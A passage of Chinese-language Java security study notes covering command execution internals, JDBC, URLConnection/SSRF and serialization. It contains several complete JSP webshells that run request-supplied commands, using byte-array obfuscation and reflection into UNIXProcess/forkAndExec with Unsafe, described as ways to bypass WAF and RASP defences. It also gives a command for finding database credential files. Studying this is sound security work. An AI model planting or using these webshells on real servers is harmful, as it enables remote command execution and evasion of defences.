href="https://blog.csdn.net/weixin_43935927/article/details/109050851">【JavaWeb】JSP：基本语法大全</a></p></blockquote><h4 id="runtime命令执行调用链"><a href="#Runtime命令执行调用链" class="headerlink" title="Runtime命令执行调用链"></a>Runtime命令执行调用链</h4><p>&emsp;&emsp;<code>Runtime.exec(xxx)</code>调用链如下:</p><pre><code class="java">java.lang.UNIXProcess.&lt;init&gt;(UNIXProcess.java:247)java.lang.ProcessImpl.start(ProcessImpl.java:134)java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)java.lang.Runtime.exec(Runtime.java:620)java.lang.Runtime.exec(Runtime.java:450)java.lang.Runtime.exec(Runtime.java:347)org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)</code></pre><p>&emsp;&emsp;通过观察整个调用链我们可以清楚的看到<code>exec</code>方法并不是命令执行的最终点，执行逻辑大致是：</p><ol><li><code>Runtime.exec(xxx)</code></li><li><code>java.lang.ProcessBuilder.start()</code></li><li><code>new java.lang.UNIXProcess(xxx)</code></li><li><code>UNIXProcess</code>构造方法中调用了<code>forkAndExec(xxx)</code> native方法。</li><li><code>forkAndExec</code>调用操作系统级别<code>fork</code>-&gt;<code>exec</code>(*nix)&#x2F;<code>CreateProcess</code>(Windows)执行命令并返回<code>fork</code>&#x2F;<code>CreateProcess</code>的<code>PID</code>。</li></ol><p>&emsp;&emsp;有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了，切记<code>Runtime</code>和<code>ProcessBuilder</code>并不是程序的最终执行点!</p><h4 id="反射runtime命令执行"><a href="#反射Runtime命令执行" class="headerlink" title="反射Runtime命令执行"></a>反射Runtime命令执行</h4><p>&emsp;&emsp;如果我们不希望在代码中出现和<code>Runtime</code>相关的关键字，我们可以全部用反射代替。</p><p><strong>reflection-cmd.jsp示例代码：</strong></p><pre><code class="jsp">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;&lt;%@ page import=&quot;java.lang.reflect.Method&quot; %&gt;&lt;%@ page import=&quot;java.util.Scanner&quot; %&gt;&lt;%    String str = request.getParameter(&quot;str&quot;);    // 定义&quot;java.lang.Runtime&quot;字符串变量    String rt = new String(new byte[]&#123;106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101&#125;);    // 反射java.lang.Runtime类获取Class对象    Class&lt;?&gt; c = Class.forName(rt);    // 反射获取Runtime类的getRuntime方法    Method m1 = c.getMethod(new String(new byte[]&#123;103, 101, 116, 82, 117, 110, 116, 105, 109, 101&#125;));    // 反射获取Runtime类的exec方法    Method m2 = c.getMethod(new String(new byte[]&#123;101, 120, 101, 99&#125;), String.class);    // 反射调用Runtime.getRuntime().exec(xxx)方法    Object obj2 = m2.invoke(m1.invoke(null, new Object[]&#123;&#125;), new Object[]&#123;str&#125;);    // 反射获取Process类的getInputStream方法    Method m = obj2.getClass().getMethod(new String(new byte[]&#123;103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109&#125;));    m.setAccessible(true);    // 获取命令执行结果的输入流对象：p.getInputStream()并使用Scanner按行切割成字符串    Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]&#123;&#125;)).useDelimiter(&quot;\\A&quot;);    String result = s.hasNext() ? s.next() : &quot;&quot;;    // 输出命令执行结果    out.println(result);%&gt;&lt;%- 利用byte转化为字符串的方式可以绕过一些waf -%&gt;</code></pre><p>&emsp;&emsp;命令参数是<code>str</code>，如：<code>reflection-cmd.jsp?str=pwd</code>，程序执行结果同上。</p><h4 id="processbuilder命令执行"><a href="#ProcessBuilder命令执行" class="headerlink" title="ProcessBuilder命令执行"></a>ProcessBuilder命令执行</h4><p>&emsp;&emsp;学习<code>Runtime</code>命令执行的时候我们讲到其最终<code>exec</code>方法会调用<code>ProcessBuilder</code>来执行本地命令，那么我们只需跟踪下Runtime的exec方法就可以知道如何使用<code>ProcessBuilder</code>来执行系统命令了。</p><p><strong>process_builder.jsp命令执行测试：</strong></p><pre><code class="jsp">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;&lt;%@ page import=&quot;java.io.ByteArrayOutputStream&quot; %&gt;&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;&lt;%    InputStream in = new ProcessBuilder(request.getParameterValues(&quot;cmd&quot;)).start().getInputStream();    ByteArrayOutputStream baos = new ByteArrayOutputStream();    byte[] b = new byte[1024];    int a = -1;    while ((a = in.read(b)) != -1) &#123;        baos.write(b, 0, a);    &#125;    out.write(&quot;&lt;pre&gt;&quot; + new String(baos.toByteArray()) + &quot;&lt;/pre&gt;&quot;);%&gt;</code></pre><h4 id="unixprocessx2fprocessimpl"><a href="#UNIXProcess-ProcessImpl" class="headerlink" title="UNIXProcess&#x2F;ProcessImpl"></a>UNIXProcess&#x2F;ProcessImpl</h4><p>&emsp;&emsp;<code>UNIXProcess</code>和<code>ProcessImpl</code>可以理解本就是一个东西，因为在JDK9的时候把<code>UNIXProcess</code>合并到了<code>ProcessImpl</code>当中了。<code>UNIXProcess</code>和<code>ProcessImpl</code>其实就是最终调用<code>native</code>执行系统命令的类，这个类提供了一个叫<code>forkAndExec</code>的native方法，如方法名所述主要是通过<code>fork&amp;exec</code>来执行本地系统命令。</p><p>&emsp;&emsp;<code>UNIXProcess</code>类的<code>forkAndExec</code>示例：</p><pre><code class="java">private native int forkAndExec(int mode, byte[] helperpath,                                   byte[] prog,                                   byte[] argBlock, int argc,                                   byte[] envBlock, int envc,                                   byte[] dir,                                   int[] fds,                                   boolean redirectErrorStream)        throws IOException;</code></pre><p>&emsp;&emsp;最终执行的<code>Java_java_lang_ProcessImpl_forkAndExec</code>：</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/5.png"><blockquote><p><code>Java_java_lang_ProcessImpl_forkAndExec</code>完整代码:<a href="https://github.com/unofficial-openjdk/openjdk/blob/e59bd5b27066bb2eb77828110ee585b1598ba636/src/java.base/unix/native/libjava/ProcessImpl_md.c">ProcessImpl_md.c</a></p></blockquote><p>&emsp;&emsp;很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点，如果防御对象只防御到了<code>ProcessBuilder.start()</code>方法，而我们只需要直接调用最终执行的<code>UNIXProcess/ProcessImpl</code>实现命令执行或者直接反射<code>UNIXProcess/ProcessImpl</code>的<code>forkAndExec</code>方法就可以绕过RASP实现命令执行了。</p><h4 id="反射unixprocessx2fprocessimpl执行本地命令"><a href="#反射UNIXProcess-ProcessImpl执行本地命令" class="headerlink" title="反射UNIXProcess&#x2F;ProcessImpl执行本地命令"></a>反射UNIXProcess&#x2F;ProcessImpl执行本地命令</h4><p>&emsp;&emsp;<strong><code>linux-cmd.jsp</code>执行本地命令测试:</strong></p><pre><code class="jsp">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;&lt;%@ page import=&quot;java.io.*&quot; %&gt;&lt;%@ page import=&quot;java.lang.reflect.Constructor&quot; %&gt;&lt;%@ page import=&quot;java.lang.reflect.Method&quot; %&gt;&lt;%!    // 将Java字符串转换为C风格字符串（以\0结尾的字节数组）    // 适配底层系统调用（如UNIXProcess构造参数）。    byte[] toCString(String s) &#123;        if (s == null) &#123;            return null;        &#125;        byte[] bytes  = s.getBytes();        byte[] result = new byte[bytes.length + 1];        System.arraycopy(bytes, 0, result, 0, bytes.length);        result[result.length - 1] = (byte) 0;        return result;    &#125;    InputStream start(String[] strs) throws Exception &#123;        // 反射获取命令执行的输出的字节流                // java.lang.UNIXProcess        String unixClass = new String(new byte[]&#123;106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115&#125;);        // java.lang.ProcessImpl        String processClass = new String(new byte[]&#123;106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108&#125;);        Class clazz = null;        // 反射创建UNIXProcess或者ProcessImpl        try &#123;            clazz = Class.forName(unixClass);        &#125; catch (ClassNotFoundException e) &#123;            clazz = Class.forName(processClass);        &#125;        // 获取UNIXProcess或者ProcessImpl的构造方法        Constructor&lt;?&gt; constructor = clazz.getDeclaredConstructors()[0];        constructor.setAccessible(true);                // 这里的assert和py里的是一样的作用        assert strs != null &amp;&amp; strs.length &gt; 0;        // 将参数转换为内存块，使得在Java中操作内存比C中更简单        byte[][] args = new byte[strs.length - 1][];        int size = args.length; // For added NUL bytes        for (int i = 0; i &lt; args.length; i++) &#123;            // 参数转换为字节数组            args[i] = strs[i + 1].getBytes();            size += args[i].length;        &#125;        byte[] argBlock = new byte[size];        int    i        = 0;        for (byte[] arg : args) &#123;            System.arraycopy(arg, 0, argBlock, i, arg.length);            i += arg.length + 1;            // No need to write NUL bytes explicitly        &#125;        int[] envc    = new int[1];        int[] std_fds = new int[]&#123;-1, -1, -1&#125;;        FileInputStream  f0 = null;// 命令（如/bin/sh）        FileOutputStream f1 = null;        FileOutputStream f2 = null;        // In theory, close() can throw IOException        // (although it is rather unlikely to happen here)        try &#123;            if (f0 != null) f0.close();        &#125; finally &#123;            try &#123;                if (f1 != null) f1.close();            &#125; finally &#123;                if (f2 != null) f2.close();            &#125;        &#125;        // 创建UNIXProcess或者ProcessImpl实例        Object object = constructor.newInstance(            toCString(strs[0]), // 命令（如/bin/sh）            argBlock,           // 参数块            args.length,        // 参数数量            null,               // 环境变量            envc[0],            // 环境变量数量            null,               // 工作目录            std_fds,            // 标准输入/输出/错误流            false               // 是否重定向错误流        );        // 获取命令执行的InputStream        Method inMethod = object.getClass().getDeclaredMethod(&quot;getInputStream&quot;);         inMethod.setAccessible(true);        return (InputStream) inMethod.invoke(object);// 返回输出字节流    &#125;    String inputStreamToString(InputStream in, String charset) throws IOException &#123;         // 将输出字节流转化为字符流        try &#123;            if (charset == null) &#123;                charset = &quot;UTF-8&quot;;            &#125;            ByteArrayOutputStream out = new ByteArrayOutputStream();            int                   a   = 0;            byte[]                b   = new byte[1024];            while ((a = in.read(b)) != -1) &#123;                out.write(b, 0, a);            &#125;            return new String(out.toByteArray());        &#125; catch (IOException e) &#123;            throw e;        &#125; finally &#123;            if (in != null)                in.close();        &#125;    &#125;%&gt;&lt;%    String[] str = request.getParameterValues(&quot;cmd&quot;);    if (str != null) &#123;        InputStream in     = start(str);        String      result = inputStreamToString(in, &quot;UTF-8&quot;);        out.println(&quot;&lt;pre&gt;&quot;);        out.println(result);        out.println(&quot;&lt;/pre&gt;&quot;);        out.flush();        out.close();    &#125;%&gt;</code></pre><p><strong>forkAndExec命令执行-Unsafe+反射+Native方法调用</strong></p><p>&emsp;&emsp;如果<code>RASP</code>把<code>UNIXProcess/ProcessImpl</code>类的构造方法给拦截了我们是不是就无法执行本地命令了？其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了，具体步骤如下:</p><ol><li>使用<code>sun.misc.Unsafe.allocateInstance(Class)</code>特性可以无需<code>new</code>或者<code>newInstance</code>创建<code>UNIXProcess/ProcessImpl</code>类对象。</li><li>反射<code>UNIXProcess/ProcessImpl</code>类的<code>forkAndExec</code>方法。</li><li>构造<code>forkAndExec</code>需要的参数并调用。</li><li>反射<code>UNIXProcess/ProcessImpl</code>类的<code>initStreams</code>方法初始化输入输出结果流对象。</li><li>反射<code>UNIXProcess/ProcessImpl</code>类的<code>getInputStream</code>方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。</li></ol><p>&emsp;&emsp;<strong><code>fork_and_exec.jsp</code>执行本地命令示例:</strong></p><pre><code class="jsp">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;&lt;%@ page import=&quot;sun.misc.Unsafe&quot; %&gt;&lt;%@ page import=&quot;java.io.ByteArrayOutputStream&quot; %&gt;&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;&lt;%@ page import=&quot;java.lang.reflect.Field&quot; %&gt;&lt;%@ page import=&quot;java.lang.reflect.Method&quot; %&gt;&lt;%!    byte[] toCString(String s) &#123;        if (s == null)            return null;        byte[] bytes  = s.getBytes();        byte[] result = new byte[bytes.length + 1];        System.arraycopy(bytes, 0,                result, 0,                bytes.length);        result[result.length - 1] = (byte) 0;        return result;    &#125;%&gt;&lt;%    String[] strs = request.getParameterValues(&quot;cmd&quot;);    if (strs != null) &#123;        Field theUnsafeField = Unsafe.class.getDeclaredField(&quot;theUnsafe&quot;);        theUnsafeField.setAccessible(true);        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);        Class processClass = null;        try &#123;            processClass = Class.forName(&quot;java.lang.UNIXProcess&quot;);        &#125; catch (ClassNotFoundException e) &#123;            processClass = Class.forName(&quot;java.lang.ProcessImpl&quot;);        &#125;        Object processObject = unsafe.allocateInstance(processClass);        // Convert arguments to a contiguous block; it&#39;s easier to do        // memory management in Java than in C.        byte[][] args = new byte[strs.length - 1][];        int      size = args.length; // For added NUL bytes        for (int i = 0; i &lt; args.length; i++) &#123;            args[i] = strs[i + 1].getBytes();            size += args[i].length;        &#125;        byte[] argBlock = new byte[size];        int    i        = 0;        for (byte[] arg : args) &#123;            System.arraycopy(arg, 0, argBlock, i, arg.length);            i += arg.length + 1;            // No need to write NUL bytes explicitly        &#125;        int[] envc                 = new int[1];        int[] std_fds              = new int[]&#123;-1, -1, -1&#125;;        Field launchMechanismField = processClass.getDeclaredField(&quot;launchMechanism&quot;);        Field helperpathField      = processClass.getDeclaredField(&quot;helperpath&quot;);        launchMechanismField.setAccessible(true);        helperpathField.setAccessible(true);        Object launchMechanismObject = launchMechanismField.get(processObject);        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);        int ordinal = (int) launchMechanismObject.getClass().getMethod(&quot;ordinal&quot;).invoke(launchMechanismObject);        Method forkMethod = processClass.getDeclaredMethod(&quot;forkAndExec&quot;, new Class[]&#123;                int.class, byte[].class, byte[].class, byte[].class, int.class,                byte[].class, int.class, byte[].class, int[].class, boolean.class        &#125;);        forkMethod.setAccessible(true);// 设置访问权限        int pid = (int) forkMethod.invoke(processObject, new Object[]&#123;                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,                null, envc[0], null, std_fds, false        &#125;);        // 初始化命令执行结果，将本地命令执行的输出流转换为程序执行结果的输出流        Method initStreamsMethod = processClass.getDeclaredMethod(&quot;initStreams&quot;, int[].class);        initStreamsMethod.setAccessible(true);        initStreamsMethod.invoke(processObject, std_fds);        // 获取本地执行结果的输入流        Method getInputStreamMethod = processClass.getMethod(&quot;getInputStream&quot;);        getInputStreamMethod.setAccessible(true);        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        int                   a    = 0;        byte[]                b    = new byte[1024];        while ((a = in.read(b)) != -1) &#123;            baos.write(b, 0, a);        &#125;        out.println(&quot;&lt;pre&gt;&quot;);        out.println(baos.toString());        out.println(&quot;&lt;/pre&gt;&quot;);        out.flush();        out.close();    &#125;%&gt;</code></pre><h3 id="jdbc-基础"><a href="#JDBC-基础" class="headerlink" title="JDBC 基础"></a>JDBC 基础</h3><p>&emsp;&emsp;<code>JDBC(Java Database Connectivity)</code>是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(<code>JDBC</code>)，不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。</p><h4 id="jdbc-connection"><a href="#JDBC-Connection" class="headerlink" title="JDBC Connection"></a>JDBC Connection</h4><p>&emsp;&emsp;Java通过<code>java.sql.DriverManager</code>来管理所有数据库的驱动注册，所以如果想要建立数据库连接需要先在<code>java.sql.DriverManager</code>中注册对应的驱动类，然后调用<code>getConnection</code>方法才能连接上数据库。</p><p>&emsp;&emsp;JDBC定义了一个叫<code>java.sql.Driver</code>的接口类负责实现对数据库的连接，所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。<code>java.sql.DriverManager.getConnection(xx)</code>其实就是间接的调用了<code>java.sql.Driver</code>类的<code>connect</code>方法实现数据库连接的。数据库连接成功后会返回一个叫做<code>java.sql.Connection</code>的数据库连接对象，一切对数据库的查询操作都将依赖于这个<code>Connection</code>对象。</p><p>&emsp;&emsp;JDBC连接数据库的一般步骤:</p><ol><li>注册驱动，<code>Class.forName(&quot;数据库驱动的类名&quot;)</code>。</li><li>获取连接，<code>DriverManager.getConnection(xxx)</code>。</li></ol><p><strong>JDBC连接数据库示例代码如下:</strong></p><pre><code class="java">String CLASS_NAME = &quot;com.mysql.jdbc.Driver&quot;;String URL = &quot;jdbc:mysql://localhost:3306/mysql&quot;String USERNAME = &quot;root&quot;;String PASSWORD = &quot;root&quot;;Class.forName(CLASS_NAME);// 注册JDBC驱动类Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);</code></pre><p><strong>数据库配置信息</strong></p><p>&emsp;&emsp;传统的Web应用的数据库配置信息一般都是存放在<code>WEB-INF</code>目录下的<code>*.properties</code>、<code>*.yml</code>、<code>*.xml</code>中的,如果是<code>Spring Boot</code>项目的话一般都会存储在jar包中的<code>src/main/resources/</code>目录下。</p><p>&emsp;&emsp;常见的存储数据库配置信息的文件路径如：<code>WEB-INF/applicationContext.xml</code>、<code>WEB-INF/hibernate.cfg.xml</code>、<code>WEB-INF/jdbc/jdbc.properties</code>，一般情况下使用find命令加关键字可以轻松的找出来，如查找Mysql配置信息: <code>find 路径 -type f |xargs grep &quot;com.mysql.jdbc.Driver&quot;</code>。 </p><p><strong>forName的原因</strong></p><p>&emsp;&emsp;实际上这一步是利用了Java反射+类加载机制往<code>DriverManager</code>中注册了驱动包。</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/6.png"><p>&emsp;&emsp;<code>Class.forName(&quot;com.mysql.jdbc.Driver&quot;)</code>实际上会触发类加载，<code>com.mysql.jdbc.Driver</code>类将会被初始化，所以<code>static静态语句块</code>中的代码也将会被执行，所以看似毫无必要的<code>Class.forName</code>其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径：</p><ol><li>使用<code>Class.forName(&quot;xxxx&quot;, false, loader)</code>方法，将第二个参数传入false。</li><li><code>ClassLoader.load(&quot;xxxx&quot;);</code></li></ol><p>&emsp;&emsp;连接数据库就必须<code>Class.forName(xxx)</code>几乎已经成为了绝大部分人认为的既定事实而不可改变，但删除<code>Class.forName</code>一样可以连接数据库。实际上这里又利用了Java的一大特性:<font color="#ff9f9f"><strong>Java SPI(Service Provider Interface)</strong></font>，因为<code>DriverManager</code>在初始化的时候会调用<code>java.util.ServiceLoader</code>类提供的SPI机制，Java会自动扫描jar包中的<code>META-INF/services</code>目录下的文件，并且还会自动的<code>Class.forName(文件中定义的类)</code>，这也就解释了为什么不需要<code>Class.forName</code>也能够成功连接数据库的原因了。</p><h4 id="datasource"><a href="#DataSource" class="headerlink" title="DataSource"></a>DataSource</h4><p>&emsp;&emsp;在真实的Java项目中通常不会使用原生的<code>JDBC</code>的<code>DriverManager</code>去连接数据库，而是使用数据源(<code>javax.sql.DataSource</code>)来代替<code>DriverManager</code>管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源，有了数据源程序就不再需要编写任何数据库连接相关的代码了，直接引用<code>DataSource</code>对象即可获取数据库连接了。</p><blockquote><p>常见的数据源有：<code>DBCP</code>、<code>C3P0</code>、<code>Druid</code>、<code>Mybatis DataSource</code>，他们都实现于<code>javax.sql.DataSource</code>接口。</p></blockquote><p><code>等之后学完Java web后补充</code></p><h3 id="urlconnection"><a href="#URLConnection" class="headerlink" title="URLConnection"></a>URLConnection</h3><p>&emsp;&emsp; Java抽象出了一个<code>URLConnection</code>类，它用来表示应用程序以及与URL建立通信连接的所有类的超类，通过<code>URL</code>类中的<code>openConnection</code>方法获取到<code>URLConnection</code>的类对象。</p><p>&emsp;&emsp;Java中URLConnection支持的协议可以在<code>sun.net.www.protocol</code>看到。</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/7.png"><p>&emsp;&emsp;每个协议都有一个<code>Handle</code>,<code>Handle</code>定义了这个协议如何去打开一个连接。</p><p>&emsp;&emsp;我们来使用URL发起一个简单的请求</p><pre><code class="java">public class URLConnectionDemo &#123;    public static void main(String[] args) throws IOException &#123;        URL url = new URL(&quot;https://www.baidu.com&quot;);        // 打开和url之间的连接        URLConnection connection = url.openConnection();        // 设置请求参数        connection.setRequestProperty(&quot;user-agent&quot;, &quot;javasec&quot;);        connection.setConnectTimeout(1000);        connection.setReadTimeout(1000);        // ...        // 建立实际连接        connection.connect();        // 获取响应头字段信息列表        connection.getHeaderFields();        // 获取URL响应        connection.getInputStream();        StringBuilder response = new StringBuilder();        BufferedReader in = new BufferedReader(                new InputStreamReader(connection.getInputStream()));        String line;        while ((line = in.readLine()) != null) &#123;            response.append(&quot;/n&quot;).append(line);        &#125;        System.out.print(response.toString());    &#125;&#125;</code></pre><p>&emsp;&emsp;首先使用URL建立一个对象，调用<code>url</code>对象中的<code>openConnection</code>来获取一个<code>URLConnection</code>的实例，然后通过在<code>URLConnection</code>设置各种请求参数以及一些配置，在使用其中的<code>connect</code>方法来发起请求，然后在调用<code>getInputStream</code>来获请求的响应流。 这是一个基本的请求到响应的过程。</p><h4 id="ssrf相关"><a href="#SSRF相关" class="headerlink" title="SSRF相关"></a>SSRF相关</h4><p>&emsp;&emsp;ssrf漏洞也对使用不同类发起的url请求也是有所区别的，如果是<code>URLConnection|URL</code>发起的请求，那么对于上文中所提到的所有<code>protocol</code>都支持，但是如果经过二次包装或者其他的一些类发出的请求，比如</p><pre><code>HttpURLConnectionHttpClientRequestokhttp……</code></pre><p>&emsp;&emsp;那么只支持发起<code>http|https</code>协议，否则会抛出异常。</p><p>&emsp;&emsp;如果传入的是<code>http://192.168.xx.xx:80</code>，且<code>192.168.xx.xx</code>的<code>80</code>端口存在的，则会将其网页源码输出出来。但如果是非web端口的服务，则会爆出<code>Invalid Http response</code> 或<code>Connection reset</code>异常。如果能将此异常抛出来，那么就可以对内网所有服务端口进行探测。</p><p>&emsp;&emsp;java中默认对(http|https)做了一些事情，比如:</p><ul><li>默认启用了透明NTLM认证</li><li>默认跟随跳转</li></ul><blockquote><p>NTLM是NT LAN Manager的简称，NT(New Technology)是Windows发布的桌面操作系统简称。NTLM协议提供身份认证功能，也支持提供会话安全（传递消息的签名以及加密）。</p><p>NTLM协议的身份认证机制是challenge-response，由Server发送challenge（8字节随机数），Client根据自己密钥、Server的challenge以及其他一些信息，计算出response，发送至Server，Server则根据相同算法计算，比较response是否一致来决定认证是否通过。</p></blockquote><h3 id="java-序列化和反序列化"><a href="#Java-序列化和反序列化" class="headerlink" title="Java 序列化和反序列化"></a>Java 序列化和反序列化</h3><p>&emsp;&emsp;在很多语言中都提供了对象反序列化支持，Java在JDK1.1(<code>1997年</code>)时就内置了对象反序列化(<code>java.io.ObjectInputStream</code>)支持。Java对象序列化指的是<code>将一个Java类实例序列化成字节数组</code>，用于存储对象实例化信息：类成员变量和属性值。 Java反序列化可以<code>将序列化后的二进制数组转换为对应的Java类实例</code>。</p><p>&emsp;&emsp;Java序列化对象因其可以方便的将对象转换成字节数组，又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于<code>Socket</code>传输。 在<code>RMI(Java远程方法调用-Java Remote Method Invocation)</code>和<code>JMX(Java管理扩展-Java Management Extensions)</code>服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制，如：直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。</p><p>&emsp;&emsp;自从2015年<a href="https://issues.apache.org/jira/browse/COLLECTIONS-580">Apache Commons Collections反序列化漏洞</a>(<a href="https://github.com/frohoff/ysoserial">ysoserial</a>的最早的commit记录是2015年1月29日,说明这个漏洞可能早在2014年甚至更早就已经被人所利用)利用方式被人公开后直接引发了Java生态系统的大地震，与此同时Java反序列化漏洞仿佛掀起了燎原之势，无数的使用了反序列化机制的Java应用系统惨遭黑客疯狂的攻击，为企业安全甚至是国家安全带来了沉重的打击。</p><h4 id="java-序列化x2f反序列化"><a href="#Java-序列化-反序列化" class="headerlink" title="Java 序列化&#x2F;反序列化"></a>Java 序列化&#x2F;反序列化</h4><p>&emsp;&emsp;在Java中实现对象反序列化非常简单，实现<code>java.io.Serializable(内部序列化)</code>或<code>java.io.Externalizable(外部序列化)</code>接口即可被序列化，其中<code>java.io.Externalizable</code>接口只是实现了<code>java.io.Serializable</code>接口。反序列化类对象时有如下限制：</p><ol><li>被反序列化的类必须存在。</li><li><code>serialVersionUID</code>值必须一致。</li></ol><p>&emsp;&emsp;除此之外，<strong>反序列化类对象是不会调用该类构造方法</strong>的，因为在反序列化创建类实例时使用了<code>sun.reflect.ReflectionFactory.newConstructorForSerialization</code>创建了一个反序列化专用的<code>Constructor(反射构造方法对象)</code>，使用这个特殊的<code>Constructor</code>可以绕过构造方法创建类实例。</p><p>&emsp;&emsp;<strong>使用反序列化方式创建类实例代码片段：</strong></p><pre><code class="java">package Test;import sun.reflect.ReflectionFactory;import java.lang.reflect.Constructor;public class Main &#123;    public static void main(String[] args) &#123;        try &#123;            // 获取sun.reflect.ReflectionFactory对象            ReflectionFactory factory = ReflectionFactory.getReflectionFactory();            // 使用反序列化方式获取DeserializationTest类的构造方法            @SuppressWarnings(&quot;rawtypes&quot;)            Constructor constructor = factory.newConstructorForSerialization(                    DeserializationTest.class, Object.class.getConstructor()            );            // 实例化DeserializationTest对象            System.out.println(constructor.newInstance());        &#125; catch (Exception e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;class DeserializationTest&#123;    // ......&#125;// 输出：Test.DeserializationTest@23fc625e</code></pre><h4 id="objectinputstream-objectoutputstream"><a href="#ObjectInputStream、ObjectOutputStream" class="headerlink" title="ObjectInputStream、ObjectOutputStream"></a>ObjectInputStream、ObjectOutputStream</h4><p>&emsp;&emsp;<code>java.io.ObjectOutputStream</code>类最核心的方法是<code>writeObject</code>方法，即序列化类对象。</p><p>&emsp;&emsp;<code>java.io.ObjectInputStream</code>类最核心的功能是<code>readObject</code>方法，即反序列化类对象。</p><p>&emsp;&emsp;所以，只需借助<code>ObjectInputStream</code>和<code>ObjectOutputStream</code>类我们就可以实现类的序列化和反序列化功能了(毕竟序列化和反序列化就是一个读字符串在根据它写出相应对象或者这一反过程)。</p><h4 id="javaioserializable"><a href="#java-io-Serializable" class="headerlink" title="java.io.Serializable"></a>java.io.Serializable</h4><p>&emsp;&emsp;<code>java.io.Serializable</code>是一个空的接口,我们不需要实现<code>java.io.Serializable</code>的任何方法，代码如下:</p><pre><code class="java">public interface Serializable &#123;&#125;</code></pre><p>&emsp;&emsp;实现一个空接口有什么意义？其实实现<code>java.io.Serializable</code>接口仅仅只用于<code>标识这个类可序列化</code>。实现了<code>java.io.Serializable</code>接口的类原则上都需要生产一个<code>serialVersionUID</code>常量，反序列化时如果双方的<code>serialVersionUID</code>不一致会导致<code>InvalidClassException</code> 异常。如果可序列化类未显式声明 <code>serialVersionUID</code>，则序列化运行时将基于该类的各个方面计算该类的默认 <code>serialVersionUID</code>值。</p><p>&emsp;&emsp;<strong><code>DeserializationTest.java</code>测试代码如下：</strong></p><pre><code class="java">package com.anbai.sec.serializes;import java.io.*;import java.util.Arrays;/** * Creator: yz * Date: 2019/12/15 */public class DeserializationTest implements Serializable &#123;    private String username;    private String email;    // 省去get/set方法....    public static void main(String[] args) &#123;        ByteArrayOutputStream baos = new ByteArrayOutputStream();        try &#123;            // 创建DeserializationTest类，并类设置属性值            DeserializationTest t = new DeserializationTest();            t.setUsername(&quot;yz&quot;);            t.setEmail(&quot;admin@javaweb.org&quot;);            // 创建Java对象序列化输出流对象            ObjectOutputStream out = new ObjectOutputStream(baos);            // 序列化DeserializationTest类            out.writeObject(t);            out.flush();            out.close();            // 打印DeserializationTest类序列化以后的字节数组，我们可以将其存储到文件中或者通过Socket发送到远程服务地址            System.out.println(&quot;DeserializationTest类序列化后的字节数组:&quot; + Arrays.toString(baos.toByteArray()));            // 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象            ObjectInputStream in = new ObjectInputStream(bais);            // 反序列化输入流数据为DeserializationTest对象            DeserializationTest test = (DeserializationTest) in.readObject();            System.out.println(&quot;用户名:&quot; + test.getUsername() + &quot;,邮箱:&quot; + test.getEmail());            // 关闭ObjectInputStream输入流            in.close();        &#125; catch (IOException e) &#123;            e.printStackTrace();        &#125; catch (ClassNotFoundException e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;程序执行结果如下：</p><pre><code>DeserializationTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 44, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, 74, 36, 49, 16, -110, 39, 13, 76, 2, 0, 2, 76, 0, 5, 101, 109, 97, 105, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 8, 117, 115, 101, 114, 110, 97, 109, 101, 113, 0, 126, 0, 1, 120, 112, 